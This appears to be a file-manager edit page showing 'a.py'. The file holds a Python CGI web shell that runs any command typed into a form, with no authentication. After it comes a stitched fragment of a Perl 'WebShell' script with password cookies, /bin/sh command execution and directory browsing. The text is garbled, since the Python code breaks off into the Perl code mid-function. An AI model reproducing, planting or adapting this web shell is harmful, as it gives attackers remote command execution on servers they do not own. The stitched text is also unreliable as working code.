EVOLUTION-MANAGER
Edit File: a.py
#!/usr/bin/env python import cgi import subprocess import cgitb cgitb.enable() def run(command): if not command: raise Exception("Commande vide") else: p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE) p.wait() out, err = p.communicate() return out print "Content-Type: text/html" print print "<html>" print "<head>" print "<title>Hello World</title>" print "</head>" print "<body>" print "<form method='post' action='shell.py'>" print "<input type='text' name='command' />" print "<input type='submit' value='submit' />" print "</form>" form = cgi.FieldStorage() if 'command' in form: cmd = form['command'].value print "<font face='monospace'>" print "$ %s" % cmd print "<br>" for i in run(cmd).split('\n'): print i, "<br>" print "</font>" print "</body>" print "</html>") { my $test = $condition->{test}; my $value = defined $test ? $self->evaluate_variable($test, $keywords) : 1; return $self->evaluate_operation($condition->{operation}, $keywords) if $value; } return []; } sub evaluate_loop { my ($self, $name, $list, $operation, $keywords) = @_; my $values = $self->evaluate_variable($list, $keywords); my $length = scalar(@$values); my $index = 0; my $chunks = []; for my $value (@$values) { $keywords->{$name} = $value; $keywords->{loop}->{$name} = { index => $index, number => $index+1, first => $index == 0, last => $index == $length-1, odd => $index % 2 == 1, even => $index % 2 == 0, }; push @$chunks, @{$self->evaluate_operation($operation, $keywords)}; $index++; } delete $keywords->{$name}; delete $keywords->{loop}->{$name}; return $chunks; } sub evaluate_print { my ($self, $variable, $format, $keywords) = @_; my $value = $self->evaluate_variable($variable, $keywords); if ($format eq 'html') { for ($value) { s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; } } elsif ($format eq 'nbsp') { for ($value) { s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; s/ / /g; } } elsif ($format eq 'url') { $value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg; } elsif ($format ne '') { die "unknown format: '$format'"; } return [$value]; } sub evaluate_variable { my ($self, $variable, $keywords) = @_; my $value = $keywords; for my $name (split(/\./, $variable)) { $value = $value->{$name}; } return $value; } ############################################################################### package WebShell::Script; use CGI; use CGI::Carp qw(fatalsToBrowser); use IPC::Open3; use Cwd; use POSIX; sub new { my ($class) = @_; my $self = bless { }, $class; $self->initialize(); return $self; } sub query { my ($self, @names) = @_; my @values = (); for my $name (@names) { my $value = $self->{cgi}->param($name); for ($value) { s/^\s+//; s/\s+$//; } push @values, $value; } return wantarray ? @values : "@values"; } sub initialize { my ($self) = @_; $self->{cgi} = new CGI; $self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd'); $self->{cwd} = cwd unless defined $self->{cwd}; $self->{cwd} = cwd if $WebShell::Configuration::restricted_mode; $self->{login} = 0; my $login = $self->{cgi}->cookie(-name => 'WebShell-login'); my $password = $self->query('password'); $self->{login} = 1 if crypt($WebShell::Configuration::password, $login."XX") eq $login; $self->{login} = 1 if $password eq $WebShell::Configuration::password; } sub run { my ($self) = @_; return $self->login_action unless $self->{login}; my $action = $self->query('action'); $action = 'default' unless $action =~ /^\w+$/; $action = $self->can($action . '_action'); $action = $self->can('default_action') unless defined $action; $self->$action(); } sub default_action { my ($self) = @_; $self->publish('INPUT'); } sub login_action { my ($self) = @_; $self->publish('LOGIN', error => ($self->query('password') ne '')); } sub command { my ($self, $command) = @_; chdir($self->{cwd}); my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh"); print WRTH "$command\n"; close(WRTH); my $output = do { local $/; <RDH> }; my $error = do { local $/; <ERRH> }; waitpid($pid, 0); return ($output, $error); } sub forbidden_command { my ($self, $command) = @_; my $error = "This command is not available in the restricted mode.\n"; $error .= "You may only use the following commands:\n"; for my $ok_command (@$WebShell::Configuration::ok_commands) { $error .= " $ok_command\n"; } return ('', $error); } sub cd_command { my ($self, $command) = @_; my $error; my $directory = $1 if $command =~ /^cd\s+(\S+)$/; warn "cwd: '$self->{cwd}'\n"; warn "command: '$command'\n"; warn "directory: '$directory'\n"; if ($directory ne '') { $error = $! unless chdir($self->{cwd}); $error = $! unless chdir($directory); } $self->{cwd} = cwd; return ('', $error); } sub execute_action { my ($self) = @_; my $command = $self->query('command'); my $user = getpwuid($>); my $old_line = "[$user: $self->{cwd}]\$ $command"; my ($output, $error); if ($command ne "") { my $allow = not $WebShell::Configuration::restricted_mode; for my $ok_command (@$WebShell::Configuration::ok_commands) { $allow = 1 if $command eq $ok_command; } if ($allow) { $command =~ /^(\w+)/; if (my $method = $self->can("${1}_command")) { ($output, $error) = $self->$method($command); } else { ($output, $error) = $self->command($command); } } else { ($output, $error) = $self->forbidden_command($command); } } my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq ""; $self->publish('EXECUTE', old_line => $old_line, new_line => $new_line, output => $output, error => $error); } sub browse_action { my ($self) = @_; my $error = ""; my $path = $self->query('path'); if ($WebShell::Configuration::restricted_mode and $path ne '') { $error = "You cannot browse directories in the restricted mode."; $path = ""; } $error = $! unless chdir($self->{cwd}); if ($path ne '') { $error = $! unless chdir($path); } $self->{cwd} = cwd; opendir(DIR, '.'); my @dir = readdir(DIR); closedir(DIR); my @entries = (); for my $name (@dir) { my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks) = stat($name); my $modestr = S_ISDIR($mode) ? 'd' : '-'; $modestr .= ($mode & S_IRUSR) ? 'r' : '-'; $modestr .= ($mode & S_IWUSR) ? 'w' : '-'; $modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-'; $modestr .= ($mode & S_IRGRP) ? 'r' : '-'; $modestr .= ($mode & S_IWGRP) ? 'w' : '-'; $modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-'; $modestr .= ($mode & S_IROTH) ? 'r' : '-'; $modestr .= ($mode & S_IWOTH) ? 'w' : '-'; $modestr .= ($mode & S_IXOTH) ? 'x' : '-'; my $userstr = getpwuid($uid); my $groupstr = getgrgid($gid); my $sizestr = ($size < 1024) ? $size : ($size < 1024*1024) ? sprintf("%.1fk", $size/1024) : sprintf("%.1fM", $size/(1024*1024)); my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime)); push @entries, { name => $name, type_file => S_ISREG($mode), type_dir => S_ISDIR($mode), type_exec => ($mode & S_IXUSR), mode => $modestr, user => $userstr, group => $groupstr, order => (S_ISDIR($mode) ? 0 : 1) . $name, all_rights => (-w $name), size => $sizestr, time => $timestr, }; } @entries = sort { $a->{order} cmp $b->{order} } @entries; my @directory = (); my $path = ''; for my $name (split m|/|, $self->{cwd}) { $path .= "$name/"; push @directory, { name => $name, path => $path, }; } @directory = ({ name => '', path => '/'}) unless @directory; $self->publish('BROWSE', entries => \@entries, directory => \@directory, error => $error); } sub publish { my ($self, $template, %keywords) = @_; $template = eval '$WebShell::Templates::' . $template . '_TEMPLATE'; my $xit = new WebShell::MiniXIT; my $text = $xit->substitute($template, %keywords); $self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$}; my $domain = $1; my $path = $2; my $cwd_cookie = $self->{cgi}->cookie( -name => 'WebShell-cwd', -value => $self->{cwd}, -domain => $domain, -path => $path, ); my $login = ""; if ($self->{login}) { my $salt = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]; $login = crypt($WebShell::Configuration::password, $salt); } my $login_cookie = $self->{cgi}->cookie( -name => 'WebShell-login', -value => $login, -domain => $domain, -path => $path, ); print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]); print $text; } ############################################################################### package WebShell; my $script = new WebShell::Script; $script->run; ############################################################################### ###############################################################################